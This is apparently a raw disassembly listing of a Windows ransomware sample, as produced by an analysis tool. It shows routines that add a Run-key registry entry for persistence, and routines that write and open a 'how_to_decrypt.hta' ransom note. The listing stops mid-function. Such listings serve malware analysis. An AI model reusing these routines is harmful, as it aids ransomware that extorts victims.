Similarity

00439ae3
00439ae3 48 8d 44 20 00 48 8d 04 05 00 00 00 00 H.D .H.......

00439af0
00439af0fn_439af0:
00439af0push rbp
00439af1mov rbp, rsp
00439af4mov rsp, rbp
00439af7pop rbp
00439af8ret
00439af0

00439af9
00439af9 // align 0x10

00439b00
00439b00Unit40.initialization:
00439b00sub [rip+0x36c31], 1
00439b07cmp [rip+0x36c2a], -1
00439b0eret
00439b00

00439b0f
00439b0f // align 0x10

00439b10
00439b10fn_439b10:
00439b10push rbp
00439b11push rsi
00439b12push rbx
00439b13add rsp, -128
00439b17mov rbp, rsp
00439b1amov [rbp+48], 0
00439b22mov [rbp+56], 0
00439b2amov [rbp+64], 0
00439b32mov [rbp+96], 0
00439b3amov [rbp+72], 0
00439b42mov [rbp+104], 0
00439b4anop
00439b4blea rcx, [rbp+104]
00439b4fmov rax, [rip+0x2a46a]
00439b56mov rdx, [rax+280]
00439b5dlea r8, [rip+436]
00439b64call fn_40d230
00439b69mov rcx, [rbp+104]
00439b6dcall fn_42fe80
00439b72test al, al
00439b74je 0x439cb3
00439b7amov rcx, 0xffffffff80000001
00439b81lea rdx, [rip+438]
00439b88lea r8, [rbp+120]
00439b8ccall RegOpenKeyW
00439b91mov rax, [rip+0x2a428]
00439b98mov rax, [rax+128]
00439b9ftest rax, rax
00439ba2je 0x439ba8
00439ba4mov rax, [rax-8]
00439ba8
00439ba8loc_439ba8:
00439ba8lea rcx, [rbp+80]
00439bacmov rdx, [rip+0x2a40d]
00439bb3mov rdx, [rdx+128]
00439bbamov r8l, eax
00439bbdcall fn_432b30
00439bc2lea rcx, [rbp+96]
00439bc6lea rdx, [rbp+80]
00439bcacall fn_432a70
00439bcflea rcx, [rbp+72]
00439bd3mov rdx, [rbp+96]
00439bd7call fn_40d150
00439bdcmov rcx, [rbp+72]
00439be0call fn_40d180
00439be5mov rsi, rax
00439be8lea rcx, [rbp+64]
00439becmov rax, [rip+0x2a3cd]
00439bf3mov rdx, [rax+280]
00439bfalea r8, [rip+279]
00439c01call fn_40d230
00439c06mov rax, [rbp+64]
00439c0axor ebx, ebx
00439c0ctest rax, rax
00439c0fje 0x439c17
00439c11mov ebx, [rax-4]
00439c14shr ebx, 1
00439c17
00439c17loc_439c17:
00439c17lea rcx, [rbp+56]
00439c1bmov rax, [rip+0x2a39e]
00439c22mov rdx, [rax+280]
00439c29lea r8, [rip+232]
00439c30call fn_40d230
00439c35mov rcx, [rbp+56]
00439c39call fn_40d180
00439c3emov rcx, [rbp+120]
00439c42mov rdx, rsi
00439c45xor r8, r8
00439c48mov r9l, 1
00439c4emov [rsp+32], rax
00439c53add ebx, ebx
00439c55mov [rsp+40], ebx
00439c59call RegSetValueExW
00439c5emov rcx, [rbp+120]
00439c62call RegCloseKey
00439c67lea rcx, [rbp+48]
00439c6bmov rax, [rip+0x2a34e]
00439c72mov rdx, [rax+280]
00439c79lea r8, [rip+152]
00439c80call fn_40d230
00439c85mov rcx, [rbp+48]
00439c89call fn_40d180
00439c8exor ecx, ecx
00439c90lea rdx, [rip+259]
00439c97mov r8, rax
00439c9axor r9, r9
00439c9dmov [rsp+32], 0
00439ca6mov [rsp+40], 5
00439caecall ShellExecuteW
00439cb3
00439cb3loc_439cb3:
00439cb3nop
00439cb4lea rcx, [rbp+48]
00439cb8mov edx, 4
00439cbdcall fn_40be70
00439cc2lea rcx, [rbp+96]
00439cc6call fn_40bd40
00439ccblea rcx, [rbp+104]
00439ccfcall fn_40bd90
00439cd4lea rsp, [rbp+128]
00439cdbpop rbx
00439cdcpop rsi
00439cddpop rbp
00439cderet
00439b10

00439cdf
00439cdf // align 0x10

00439ce0
00439ce0fn_439ce0:
00439ce0push rbp
00439ce1push rbx
00439ce2sub rsp, 40
00439ce6mov rbp, rsp
00439ce9mov rbx, rdx
00439ceclea rcx, [rbx+48]
00439cf0mov edx, 4
00439cf5call fn_40be70
00439cfalea rcx, [rbx+96]
00439cfecall fn_40bd40
00439d03lea rcx, [rbx+104]
00439d07call fn_40bd90
00439d0clea rsp, [rbp+40]
00439d10pop rbx
00439d11pop rbp
00439d12ret
00439ce0

00439d13
00439d13 00 24 00 00 00 68 00 6f 00 77 00 5f 00 .$...h.o.w._.
00439d20 74 00 6f 00 5f 00 64 00 65 00 63 00 72 00 79 00 t.o._.d.e.c.r.y.
00439d30 70 00 74 00 2e 00 68 00 74 00 61 00 00 00 73 00 p.t...h.t.a...s.
00439d40 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 o.f.t.w.a.r.e.\.
00439d50 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 m.i.c.r.o.s.o.f.
00439d60 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 t.\.w.i.n.d.o.w.
00439d70 73 00 5c 00 63 00 75 00 72 00 72 00 65 00 6e 00 s.\.c.u.r.r.e.n.
00439d80 74 00 76 00 65 00 72 00 73 00 69 00 6f 00 6e 00 t.v.e.r.s.i.o.n.
00439d90 5c 00 72 00 75 00 6e 00 00 00 6f 00 70 00 65 00 \.r.u.n...o.p.e.
00439da0 6e 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc n...............

00439db0
00439db0fn_439db0:
00439db0push rbp
00439db1push rbx
00439db2sub rsp, 120
00439db6mov rbp, rsp
00439db9mov [rbp+72], 0
00439dc1mov [rbp+88], 0
00439dc9mov [rbp+80], 0
00439dd1nop
00439dd2mov rax, [rip+0x2a1e7]
00439dd9lea rcx, [rax+152]
00439de0mov rdx, [rip-44999]
00439de7call fn_410600
00439decmov rax, [rip+0x2a1cd]
00439df3cmp [rax+308], 0
00439dfaje 0x439e43
00439dfclea rcx, [rbp+88]
00439e00mov edx, 3
00439e05lea r8, [rip+680]
00439e0cmov rax, [rip+0x2a1ad]
00439e13mov r9, [rax+280]
00439e1alea rax, [rip+711]
00439e21mov [rsp+32], rax
00439e26call fn_40d530
00439e2blea rcx, [rbp+80]
00439e2fmov rdx, [rbp+88]
00439e33call fn_40d820
00439e38mov rcx, [rbp+80]
00439e3cmov dl, 1
00439e3ecall fn_439060
00439e43
00439e43loc_439e43:
00439e43lea rcx, [rbp+72]
00439e47mov rax, [rip+0x2a172]
00439e4emov rdx, [rax+280]
00439e55lea r8, [rip+652]
00439e5ccall fn_40d230
00439e61mov rcx, [rbp+72]
00439e65call fn_40d180
00439e6amov rcx, rax
00439e6dmov edx, 0xffffffff80000000
00439e72xor r8, r8
00439e75xor r9, r9
00439e78mov [rsp+32], 3
00439e80mov [rsp+40], 128
00439e88mov [rsp+48], 0
00439e91call CreateFileW
00439e96mov rbx, rax
00439e99cmp rbx, -1
00439e9djne 0x439ecd
00439e9fmov rax, [rip+0x2a11a]
00439ea6cmp [rax+308], 0
00439eadje 0x43a055
00439eb3lea rcx, [rip+610]
00439ebamov dl, 1
00439ebccall fn_439060
00439ec1xor ecx, ecx
00439ec3call fn_4392a0
00439ec8jmp 0x43a055
00439ecd
00439ecdloc_439ecd:
00439ecdmov rax, [rip+0x2a0ec]
00439ed4cmp [rax+308], 0
00439edbje 0x439eeb
00439eddlea rcx, [rip+640]
00439ee4mov dl, 1
00439ee6call fn_439060
00439eeb
00439eebloc_439eeb:
00439eebmov rcx, rbx
00439eeelea rdx, [rbp+96]
00439ef2call GetFileSizeEx
00439ef7test al, al
00439ef9jne 0x439f2d
00439efbmov rax, [rip+0x2a0be]
00439f02cmp [rax+308], 0
00439f09je 0x439f20
00439f0blea rcx, [rip+654]
00439f12mov dl, 1
00439f14call fn_439060
00439f19xor ecx, ecx
00439f1bcall fn_4392a0
00439f20
00439f20loc_439f20:
00439f20mov rcx, rbx
00439f23call CloseHandle
00439f28jmp 0x43a055
00439f2d
00439f2dloc_439f2d:
00439f2dmov rax, [rip+0x2a08c]
00439f34lea rcx, [rax+152]
00439f3bmov rdx, [rip-45346]
00439f42mov r8l, 1
00439f48mov r9, [rbp+96]
00439f4ccall fn_410430
00439f51mov [rbp+108], 0
00439f58jmp 0x43a022
00439f5d
00439f5dloc_439f5d:
00439f5dmov [rbp+108], 0
00439f64mov rcx, rbx
00439f67xor edx, edx
00439f69xor r8, r8
00439f6cxor r9, r9
00439f6fcall SetFilePointerEx
00439f74test eax, eax
00439f76jne 0x439fa3
00439f78mov rax, [rip+0x2a041]
00439f7fcmp [rax+308], 0
00439f86je 0x43a022
00439f8clea rcx, [rip+605]
00439f93mov dl, 1
00439f95call fn_439060
00439f9axor ecx, ecx
00439f9ccall fn_4392a0
00439fa1jmp 0x43a022
00439fa3
00439fa3loc_439fa3:
00439fa3mov rcx, rbx
00439fa6mov rax, [rip+0x2a013]
00439fadmov rdx, [rax+152]
00439fb4mov r8l, [rbp+96]
00439fb8lea r9, [rbp+108]
00439fbcmov [rsp+32], 0
00439fc5call ReadFile
00439fcatest eax, eax
00439fccjne 0x439ff5
00439fcemov rax, [rip+0x29feb]
00439fd5cmp [rax+308], 0
00439fdcje 0x43a022
00439fdelea rcx, [rip+631]
00439fe5mov dl, 1
00439fe7call fn_439060
00439fecxor ecx, ecx
00439feecall fn_4392a0
00439ff3jmp 0x43a022
00439ff5
00439ff5loc_439ff5:
00439ff5mov eax, [rbp+108]
00439ff8cmp eax, [rbp+96]
00439ffbje 0x43a022
00439ffdmov rax, [rip+0x29fbc]
0043a004cmp [rax+308], 0
0043a00bje 0x43a022
0043a00dlea rcx, [rip+676]
0043a014mov dl, 1
0043a016call fn_439060
0043a01bxor ecx, ecx
0043a01dcall fn_4392a0
0043a022
0043a022loc_43a022:
0043a022mov eax, [rbp+108]
0043a025cmp eax, [rbp+96]
0043a028jne 0x439f5d
0043a02emov rcx, rbx
0043a031call CloseHandle
0043a036mov rax, [rip+0x29f83]
0043a03dcmp [rax+308], 0
0043a044je 0x43a054
0043a046lea rcx, [rip+727]
0043a04dmov dl, 1
0043a04fcall fn_439060
0043a054
0043a054loc_43a054:
0043a054nop
0043a055
0043a055loc_43a055:
0043a055lea rcx, [rbp+72]
0043a059call fn_40bd90
0043a05elea rcx, [rbp+80]
0043a062call fn_40bcf0
0043a067lea rcx, [rbp+88]
0043a06bcall fn_40bd90
0043a070lea rsp, [rbp+120]
0043a074pop rbx
0043a075pop rbp
0043a076ret
00439db0

0043a077
0043a077 90 48 8d 04 05 00 00 00 00 .H.......

0043a080
0043a080fn_43a080:
0043a080push rbp
0043a081push rbx
0043a082sub rsp, 40
0043a086mov rbp, rsp
0043a089mov rbx, rdx
0043a08clea rcx, [rbx+72]
0043a090call fn_40bd90
0043a095lea rcx, [rbx+80]
0043a099call fn_40bcf0
0043a09elea rcx, [rbx+88]
0043a0a2call fn_40bd90
0043a0a7lea rsp, [rbp+40]
0043a0abpop rbx
0043a0acpop rbp
0043a0adret
0043a080

0043a0ae
0043a0ae 00 00 ..
0043a0b0 2c 00 00 00 54 00 72 00 79 00 20 00 74 00 6f 00 ,...T.r.y. .t.o.
0043a0c0 20 00 6f 00 70 00 65 00 6e 00 20 00 48 00 54 00 .o.p.e.n. .H.T.
0043a0d0 41 00 20 00 66 00 69 00 6c 00 65 00 3a 00 20 00 A. .f.i.l.e.:. .
0043a0e0 00 00 00 00 24 00 00 00 68 00 6f 00 77 00 5f 00 ....$...h.o.w._.
0043a0f0 74 00 6f 00 5f 00 64 00 65 00 63 00 72 00 79 00 t.o._.d.e.c.r.y.
0043a100 70 00 74 00 2e 00 68 00 74 00 61 00 00 00 00 00 p.t...h.t.a.....
0043a110 b0 04 02 00 ff ff ff ff 1d 00 00 00 57 00 41 00 ............W.A.
0043a120 52 00 4e 00 49 00 4e 00 47 00 3a 00 20 00 43 00 R.N.I.N.G.:. .C.
0043a130 61 00 6e 00 27 00 74 00 20 00 6f 00 70 00 65 00 a.n.'.t. .o.p.e.
0043a140 6e 00 20 00 48 00 54 00 41 00 20 00 66 00 69 00 n. .H.T.A. .f.i.
0043a150 6c 00 65 00 2e 00 00 00 b0 04 02 00 ff ff ff ff l.e.............
0043a160 16 00 00 00 54 00 72 00 79 00 20 00 67 00 65 00 ....T.r.y. .g.e.
0043a170 74 00 20 00 48 00 54 00 41 00 20 00 66 00 69 00 t. .H.T.A. .f.i.
0043a180 6c 00 65 00 20 00 73 00 69 00 7a 00 65 00 2e 00 l.e. .s.i.z.e...
0043a190 00 00 00 00 b0 04 02 00 ff ff ff ff 21 00 00 00 ............!...
0043a1a0 57 00 41 00 52 00 4e 00 49 00 4e 00 47 00 3a 00 W.A.R.N.I.N.G.:.
0043a1b0 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 67 00 .C.a.n.'.t. .g.
0043a1c0 65 00 74 00 20 00 48 00 54 00 41 00 20 00 66 00 e.t. .H.T.A. .f.
0043a1d0 69 00 6c 00 65 00 20 00 73 00 69 00 7a 00 65 00 i.l.e. .s.i.z.e.
0043a1e0 2e 00 00 00 b0 04 02 00 ff ff ff ff 2e 00 00 00 ................
0043a1f0 45 00 52 00 52 00 4f 00 52 00 3a 00 20 00 43 00 E.R.R.O.R.:. .C.
0043a200 61 00 6e 00 27 00 74 00 20 00 73 00 65 00 74 00 a.n.'.t. .s.e.t.
0043a210 20 00 48 00 54 00 41 00 20 00 66 00 69 00 6c 00 .H.T.A. .f.i.l.
0043a220 65 00 20 00 70 00 6f 00 73 00 69 00 74 00 69 00 e. .p.o.s.i.t.i.
0043a230 6f 00 6e 00 2e 00 20 00 54 00 72 00 79 00 20 00 o.n... .T.r.y. .
0043a240 61 00 67 00 61 00 69 00 6e 00 2e 00 00 00 00 00 a.g.a.i.n.......
0043a250 b0 04 02 00 ff ff ff ff 26 00 00 00 45 00 52 00 ........&...E.R.
0043a260 52 00 4f 00 52 00 3a 00 20 00 43 00 61 00 6e 00 R.O.R.:. .C.a.n.
0043a270 27 00 74 00 20 00 72 00 65 00 61 00 64 00 20 00 '.t. .r.e.a.d. .
0043a280 66 00 72 00 6f 00 6d 00 20 00 48 00 54 00 41 00 f.r.o.m. .H.T.A.
0043a290 2e 00 20 00 54 00 72 00 79 00 20 00 61 00 67 00 .. .T.r.y. .a.g.
0043a2a0 61 00 69 00 6e 00 2e 00 00 00 00 00 b0 04 02 00 a.i.n...........
0043a2b0 ff ff ff ff 2f 00 00 00 45 00 52 00 52 00 4f 00 ..../...E.R.R.O.
0043a2c0 52 00 3a 00 20 00 43 00 61 00 6e 00 27 00 74 00 R.:. .C.a.n.'.t.
0043a2d0 20 00 72 00 65 00 61 00 64 00 20 00 61 00 6c 00 .r.e.a.d. .a.l.
0043a2e0 6c 00 20 00 64 00 61 00 74 00 61 00 20 00 66 00 l. .d.a.t.a. .f.
0043a2f0 72 00 6f 00 6d 00 20 00 48 00 54 00 41 00 2e 00 r.o.m. .H.T.A...
0043a300 20 00 54 00 72 00 79 00 20 00 61 00 67 00 61 00 .T.r.y. .a.g.a.
0043a310 69 00 6e 00 2e 00 00 00 b0 04 02 00 ff ff ff ff i.n.............
0043a320 0b 00 00 00 48 00 54 00 41 00 20 00 6c 00 6f 00 ....H.T.A. .l.o.
0043a330 61 00 64 00 65 00 64 00 2e 00 00 00 cc cc cc cc a.d.e.d.........

0043a340
0043a340fn_43a340:
0043a340push rbp
0043a341sub rsp, 208
0043a348mov rbp, rsp
0043a34bmov [rbp+80], 0
0043a353mov [rbp+72], 0
0043a35bmov [rbp+88], 0
0043a363mov [rbp+96], 0
0043a36bmov [rbp+112], 0
0043a373mov [rbp+104], 0
0043a37bmov [rbp+200], 0
0043a386mov [rbp+120], rbp
0043a38amov [rbp+224], rcx
0043a391lea rcx, [rbp+224]
0043a398call fn_40bf00
0043a39dnop
0043a39emov rax, [rip+0x29c1b]
0043a3a5cmp [rax+308], 0
0043a3acje 0x43a3ee
0043a3aelea rcx, [rbp+112]
0043a3b2mov edx, 3
0043a3b7lea r8, [rip+942]
0043a3bemov r9, [rbp+224]
0043a3c5lea rax, [rip+1000]
0043a3ccmov [rsp+32], rax
0043a3d1call fn_40d530
0043a3d6lea rcx, [rbp+104]
0043a3damov rdx, [rbp+112]
0043a3decall fn_40d820
0043a3e3mov rcx, [rbp+104]
0043a3e7mov dl, 1
0043a3e9call fn_439060
0043a3ee
0043a3eeloc_43a3ee:
0043a3eelea rcx, [rbp+96]
0043a3f2mov rdx, [rbp+224]
0043a3f9lea r8, [rip+948]
0043a400call fn_40d230
0043a405mov rcx, [rbp+96]
0043a409call fn_40d180
0043a40emov rcx, rax
0043a411mov edx, 0xffffffffc0000000
0043a416xor r8, r8
0043a419xor r9, r9
0043a41cmov [rsp+32], 1
0043a424mov [rsp+40], 128
0043a42cmov [rsp+48], 0
0043a435call CreateFileW
0043a43amov [rbp+192], rax
0043a441cmp [rbp+192], -1
0043a449jne 0x43a479
0043a44bmov rax, [rip+0x29b6e]
0043a452cmp [rax+308], 0
0043a459je 0x43a6be
0043a45flea rcx, [rip+898]
0043a466mov dl, 1
0043a468call fn_439060
0043a46dxor ecx, ecx
0043a46fcall fn_4392a0
0043a474jmp 0x43a6be
0043a479
0043a479loc_43a479:
0043a479mov rcx, [rbp+192]
0043a480xor edx, edx
0043a482xor r8, r8
0043a485xor r9, r9
0043a488call SetFilePointerEx
0043a48dtest eax, eax
0043a48fjne 0x43a4bf
0043a491mov rax, [rip+0x29b28]
0043a498cmp [rax+308], 0
0043a49fje 0x43a558
0043a4a5lea rcx, [rip+920]
0043a4acmov dl, 1
0043a4aecall fn_439060
0043a4b3xor ecx, ecx
0043a4b5call fn_4392a0
0043a4bajmp 0x43a558
0043a4bf
0043a4bfloc_43a4bf:
0043a4bfmov rax, [rip+0x29afa]
0043a4c6mov rax, [rax+152]
0043a4cdmov [rbp+176], rax
0043a4d4mov rax, [rbp+176]
0043a4dbmov [rbp+168], rax
0043a4e2cmp [rbp+168], 0
0043a4eaje 0x43a4fe
0043a4ecmov rax, [rbp+168]
0043a4f3mov rax, [rax-8]
0043a4f7mov [rbp+168], rax
0043a4fe
0043a4feloc_43a4fe:
0043a4femov rcx, [rbp+192]
0043a505mov rax, [rip+0x29ab4]
0043a50cmov rdx, [rax+152]
0043a513mov r8l, [rbp+168]
0043a51alea r9, [rbp+188]
0043a521mov [rsp+32], 0
0043a52acall WriteFile
0043a52ftest eax, eax
0043a531jne 0x43a558
0043a533mov rax, [rip+0x29a86]
0043a53acmp [rax+308], 0
0043a541je 0x43a558
0043a543lea rcx, [rip+850]
0043a54amov dl, 1
0043a54ccall fn_439060
0043a551xor ecx, ecx
0043a553call fn_4392a0
0043a558
0043a558loc_43a558:
0043a558mov rax, [rip+0x29a61]
0043a55fmov rax, [rax+152]
0043a566mov [rbp+160], rax
0043a56dmov rax, [rbp+160]
0043a574mov [rbp+152], rax
0043a57bcmp [rbp+152], 0
0043a583je 0x43a597
0043a585mov rax, [rbp+152]
0043a58cmov rax, [rax-8]
0043a590mov [rbp+152], rax
0043a597
0043a597loc_43a597:
0043a597mov eax, [rbp+188]
0043a59dcmp eax, [rbp+152]
0043a5a3je 0x43a693
0043a5a9mov rax, [rip+0x29a10]
0043a5b0cmp [rax+308], 0
0043a5b7je 0x43a693
0043a5bdmov [rbp+200], 0
0043a5c8nop
0043a5c9lea rcx, [rbp+88]
0043a5cdmov edx, [rbp+188]
0043a5d3call fn_4225f0
0043a5d8lea rcx, [rbp+200]
0043a5dfmov edx, 3
0043a5e4lea r8, [rip+761]
0043a5ebmov r9, [rbp+88]
0043a5eflea rax, [rip+806]
0043a5f6mov [rsp+32], rax
0043a5fbcall fn_40dbb0
0043a600mov rax, [rip+0x299b9]
0043a607mov rax, [rax+152]
0043a60emov [rbp+144], rax
0043a615mov rax, [rbp+144]
0043a61cmov [rbp+136], rax
0043a623cmp [rbp+136], 0
0043a62bje 0x43a63f
0043a62dmov rax, [rbp+136]
0043a634mov rax, [rax-8]
0043a638mov [rbp+136], rax
0043a63f
0043a63floc_43a63f:
0043a63flea rcx, [rbp+72]
0043a643mov rdx, [rbp+136]
0043a64acall fn_4225f0
0043a64flea rcx, [rbp+80]
0043a653mov edx, 3
0043a658mov r8, [rbp+200]
0043a65fmov r9, [rbp+72]
0043a663lea rax, [rip+718]
0043a66amov [rsp+32], rax
0043a66fcall fn_40dbb0
0043a674mov rcx, [rbp+80]
0043a678mov dl, 1
0043a67acall fn_439060
0043a67fnop
0043a680lea rcx, [rbp+200]
0043a687call fn_40bcf0
0043a68cxor ecx, ecx
0043a68ecall fn_4392a0
0043a693
0043a693loc_43a693:
0043a693mov rcx, [rbp+192]
0043a69acall CloseHandle
0043a69fmov rax, [rip+0x2991a]
0043a6a6cmp [rax+308], 0
0043a6adje 0x43a6bd
0043a6aflea rcx, [rip+670]
0043a6b6mov dl, 1
0043a6b8call fn_439060
0043a6bd
0043a6bdloc_43a6bd:
0043a6bdnop
0043a6be
0043a6beloc_43a6be:
0043a6belea rcx, [rbp+72]
0043a6c2mov edx, 3
0043a6c7call fn_40bdd0
0043a6cclea rcx, [rbp+96]
0043a6d0call fn_40bd90
0043a6d5lea rcx, [rbp+104]
0043a6d9call fn_40bcf0
0043a6delea rcx, [rbp+112]
0043a6e2call fn_40bd90
0043a6e7lea rcx, [rbp+224]
0043a6eecall fn_40bd90
0043a6f3lea rsp, [rbp+208]
0043a6fapop rbp
0043a6fbret
0043a340

0043a6fc
0043a6fc 48 8d 40 00 H.@.

0043a700
0043a700fn_43a700:
0043a700push rbp
0043a701sub rsp, 32
0043a705mov rbp, rsp
0043a708lea rcx, [rdx+200]
0043a70fcall fn_40bcf0
0043a714lea rsp, [rbp+32]
0043a718pop rbp
0043a719ret
0043a700

0043a71a
0043a71a 64 48 8d 44 20 00 dH.D .

0043a720
0043a720fn_43a720:
0043a720push rbp
0043a721push rbx
0043a722sub rsp, 40
0043a726mov rbp, rsp
0043a729mov rbx, rdx
0043a72clea rcx, [rbx+72]
0043a730mov edx, 3
0043a735call fn_40bdd0
0043a73alea rcx, [rbx+96]
0043a73ecall fn_40bd90
0043a743lea rcx, [rbx+104]
0043a747call fn_40bcf0
0043a74clea rcx, [rbx+112]
0043a750call fn_40bd90
0043a755lea rcx, [rbx+224]
0043a75ccall fn_40bd90
0043a761lea rsp, [rbp+40]
0043a765pop rbx
0043a766pop rbp
0043a767ret
0043a720

0043a768
0043a768 42 00 00 00 54 00 72 00 B...T.r.
0043a770 79 00 20 00 74 00 6f 00 20 00 63 00 72 00 65 00 y. .t.o. .c.r.e.
0043a780 61 00 74 00 65 00 20 00 61 00 6e 00 64 00 20 00 a.t.e. .a.n.d. .
0043a790 6f 00 70 00 65 00 6e 00 20 00 48 00 54 00 41 00 o.p.e.n. .H.T.A.
0043a7a0 20 00 66 00 69 00 6c 00 65 00 3a 00 20 00 00 00 .f.i.l.e.:. ...
0043a7b0 24 00 00 00 68 00 6f 00 77 00 5f 00 74 00 6f 00 $...h.o.w._.t.o.
0043a7c0 5f 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 _.d.e.c.r.y.p.t.
0043a7d0 2e 00 68 00 74 00 61 00 00 00 00 00 b0 04 02 00 ..h.t.a.........
0043a7e0 ff ff ff ff 27 00 00 00 57 00 41 00 52 00 4e 00 ....'...W.A.R.N.
0043a7f0 49 00 4e 00 47 00 3a 00 20 00 43 00 61 00 6e 00 I.N.G.:. .C.a.n.
0043a800 27 00 74 00 20 00 63 00 72 00 65 00 61 00 74 00 '.t. .c.r.e.a.t.
0043a810 65 00 20 00 6f 00 72 00 20 00 6f 00 70 00 65 00 e. .o.r. .o.p.e.
0043a820 6e 00 20 00 48 00 54 00 41 00 20 00 66 00 69 00 n. .H.T.A. .f.i.
0043a830 6c 00 65 00 2e 00 00 00 b0 04 02 00 ff ff ff ff l.e.............
0043a840 25 00 00 00 57 00 41 00 52 00 4e 00 49 00 4e 00 %...W.A.R.N.I.N.
0043a850 47 00 3a 00 20 00 43 00 61 00 6e 00 27 00 74 00 G.:. .C.a.n.'.t.
0043a860 20 00 73 00 65 00 74 00 20 00 48 00 54 00 41 00 .s.e.t. .H.T.A.
0043a870 20 00 66 00 69 00 6c 00 65 00 20 00 70 00 6f 00 .f.i.l.e. .p.o.
0043a880 73 00 69 00 74 00 69 00 6f 00 6e 00 2e 00 00 00 s.i.t.i.o.n.....
0043a890 b0 04 02 00 ff ff ff ff 1c 00 00 00 57 00 41 00 ............W.A.
0043a8a0 52 00 4e 00 49 00 4e 00 47 00 3a 00 20 00 43 00 R.N.I.N.G.:. .C.
0043a8b0 61 00 6e 00 27 00 74 00 20 00 77 00 72 00 69 00 a.n.'.t. .w.r.i.
0043a8c0 74 00 65 00 20 00 74 00 6f 00 20 00 48 00 54 00 t.e. .t.o. .H.T.
0043a8d0 41 00 2e 00 00 00 00 00 b0 04 02 00 ff ff ff ff A...............
0043a8e0 15 00 00 00 57 00 41 00 52 00 4e 00 49 00 4e 00 ....W.A.R.N.I.N.
0043a8f0 47 00 3a 00 20 00 53 00 61 00 76 00 65 00 20 00 G.:. .S.a.v.e. .
0043a900 74 00 6f 00 20 00 48 00 54 00 41 00 20 00 00 00 t.o. .H.T.A. ...
0043a910 b0 04 02 00 ff ff ff ff 06 00 00 00 20 00 66 00 ............ .f.
0043a920 72 00 6f 00 6d 00 20 00 00 00 00 00 b0 04 02 00 r.o.m. .........
0043a930 ff ff ff ff 06 00 00 00 20 00 62 00 79 00 74 00 ........ .b.y.t.
0043a940 65 00 73 00 00 00 00 00 b0 04 02 00 ff ff ff ff e.s.............
0043a950 0a 00 00 00 48 00 54 00 41 00 20 00 73 00 61 00 ....H.T.A. .s.a.
0043a960 76 00 65 00 64 00 2e 00 00 00 cc cc cc cc cc cc v.e.d...........

0043a970
0043a970fn_43a970:
0043a970push rbp
0043a971push rbx
0043a972sub rsp, 120
0043a976mov rbp, rsp
0043a979mov [rbp+72], 0
0043a981mov [rbp+88], 0
0043a989mov [rbp+80], 0
0043a991mov [rbp+144], rcx
0043a998lea rcx, [rbp+144]
0043a99fcall fn_40bf00
0043a9a4nop
0043a9a5mov rax, [rip+0x29614]
0043a9accmp [rax+308], 0
0043a9b3je 0x43a9fc
0043a9b5lea rcx, [rbp+88]
0043a9b9mov edx, 3
0043a9belea r8, [rip+635]
0043a9c5mov rax, [rip+0x295f4]
0043a9ccmov r9, [rax+280]
0043a9d3lea rax, [rip+686]
0043a9damov [rsp+32], rax
0043a9dfcall fn_40d530
0043a9e4lea rcx, [rbp+80]
0043a9e8mov rdx, [rbp+88]
0043a9eccall fn_40d820
0043a9f1mov rcx, [rbp+80]
0043a9f5mov dl, 1
0043a9f7call fn_439060
0043a9fc
0043a9fcloc_43a9fc:
0043a9fclea rcx, [rbp+72]
0043aa00mov rdx, [rbp+144]
0043aa07lea r8, [rip+634]
0043aa0ecall fn_40d230
0043aa13mov rcx, [rbp+72]
0043aa17call fn_40d180
0043aa1cmov rcx, rax
0043aa1fmov edx, 0xffffffffc0000000
0043aa24xor r8, r8
0043aa27xor r9, r9
0043aa2amov [rsp+32], 1
0043aa32mov [rsp+40], 128
0043aa3amov [rsp+48], 0
0043aa43call CreateFileW
0043aa48mov rbx, rax
0043aa4bcmp rbx, -1
0043aa4fjne 0x43aa7f
0043aa51mov rax, [rip+0x29568]
0043aa58cmp [rax+308], 0
0043aa5fje 0x43abc4
0043aa65lea rcx, [rip+592]
0043aa6cmov dl, 1
0043aa6ecall fn_439060
0043aa73xor ecx, ecx
0043aa75call fn_4392a0
0043aa7ajmp 0x43abc4
0043aa7f
0043aa7floc_43aa7f:
0043aa7fmov [rbp+108], 0
0043aa86jmp 0x43ab7d
0043aa8b
0043aa8bloc_43aa8b:
0043aa8bmov [rbp+108], 0
0043aa92mov rcx, rbx
0043aa95xor edx, edx
0043aa97xor r8, r8
0043aa9axor r9, r9
0043aa9dcall SetFilePointerEx
0043aaa2test eax, eax
0043aaa4jne 0x43aad4
0043aaa6mov rax, [rip+0x29513]
0043aaadcmp [rax+308], 0
0043aab4je 0x43ab7d
0043aabalea rcx, [rip+599]
0043aac1mov dl, 1
0043aac3call fn_439060
0043aac8xor ecx, ecx
0043aacacall fn_4392a0
0043aacfjmp 0x43ab7d
0043aad4
0043aad4loc_43aad4:
0043aad4mov rax, [rip+0x294e5]
0043aadbmov rax, [rax+152]
0043aae2test rax, rax
0043aae5je 0x43aaeb
0043aae7mov rax, [rax-8]
0043aaeb
0043aaebloc_43aaeb:
0043aaebmov rcx, rbx
0043aaeemov rdx, [rip+0x294cb]
0043aaf5mov rdx, [rdx+152]
0043aafcmov r8l, eax
0043aafflea r9, [rbp+108]
0043ab03mov [rsp+32], 0
0043ab0ccall WriteFile
0043ab11test eax, eax
0043ab13jne 0x43ab3c
0043ab15mov rax, [rip+0x294a4]
0043ab1ccmp [rax+308], 0
0043ab23je 0x43ab7d
0043ab25lea rcx, [rip+600]
0043ab2cmov dl, 1
0043ab2ecall fn_439060
0043ab33xor ecx, ecx
0043ab35call fn_4392a0
0043ab3ajmp 0x43ab7d
0043ab3c
0043ab3cloc_43ab3c:
0043ab3cmov rax, [rip+0x2947d]
0043ab43mov rax, [rax+152]
0043ab4atest rax, rax
0043ab4dje 0x43ab53
0043ab4fmov rax, [rax-8]
0043ab53
0043ab53loc_43ab53:
0043ab53cmp [rbp+108], eax
0043ab56je 0x43ab7d
0043ab58mov rax, [rip+0x29461]
0043ab5fcmp [rax+308], 0
0043ab66je 0x43ab7d
0043ab68lea rcx, [rip+621]
0043ab6fmov dl, 1
0043ab71call fn_439060
0043ab76xor ecx, ecx
0043ab78call fn_4392a0
0043ab7d
0043ab7dloc_43ab7d:
0043ab7dmov rax, [rip+0x2943c]
0043ab84mov rax, [rax+152]
0043ab8btest rax, rax
0043ab8eje 0x43ab94
0043ab90mov rax, [rax-8]
0043ab94
0043ab94loc_43ab94:
0043ab94cmp [rbp+108], eax
